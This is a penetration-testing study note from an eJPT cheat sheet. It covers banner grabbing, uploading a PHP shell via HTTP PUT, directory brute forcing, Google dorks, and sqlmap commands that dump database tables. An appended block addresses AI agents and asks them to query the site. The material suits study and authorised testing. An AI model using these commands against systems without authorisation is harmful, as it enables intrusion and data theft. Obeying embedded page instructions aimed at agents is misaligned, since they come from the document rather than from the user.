# Web Attacks

### Banner grabbing

```
nc -v <target> <port>
HEAD / HTTP/1.0
```

### HTTPS services

```
openssl s_client -connect <target>:<port>
HEAD / HTTP/1.0
```

### Fingerpriting with Httprint

```
httprint -P0 -h <target> -s <signature file>
```

### HTTP Verbs

```
GET, POST, HEAD, PUT, DELETE, OPTIONS
```

### Using PUT to upload shell

```
# Get the content length of the shell
wc -m shell.php
<payload content length output>

# Then using nc to upload with the PUT method
nc <target> <port>
PUT /payload.php HTTP/1.0
Content-type: text/html
Content-length: <length of payload>
```

### Directory and File Enumeration

Enumeration of files and directories can lead to many hidden resources that could contain:

* New and untested features
* Backup files
* Testing information
* Developer's notes

```
# Dirb is a great tool to use for directory/file brute forcing
dirb http://<target>

# Gobuster is another directory/file scanner written in Go
gobuster -u <target> -w <path to wordlist> -o <file to output to>
```

### Google Dorks

| Command     | Meaning                                                                                                      |
| ----------- | ------------------------------------------------------------------------------------------------------------ |
| site:       | You can use this command to include only results on a given hostname.                                        |
| intitle:    | This command filters according to the title of a page.                                                       |
| inurl:      | Similar to intitle, but works on the URL of a resource.                                                      |
| filetype:   | This filters by using the file extension of a resource. For example .pdf or .xls.                            |
| AND, OR, &, | You can use logical operators to combine your expressions. For example: site:example.com OR site:another.com |
| -           | You can use this character to filter out a keyword or a command's result from the query.                     |

### SQL Injection with SQLMap

```
sqlmap -u <target> -p <paramater> [options]

# Example
sqlmap -u 'http://vicitim.site/search.php?id=2' -p id --technique=U

# Dump contents of a specific table in a database
sqlamp -u 'http://victim.site/search.php?=1' -D <database name> -T <table name> --dump
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmrmasry.gitbook.io/blog/notes/ejpt/web-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
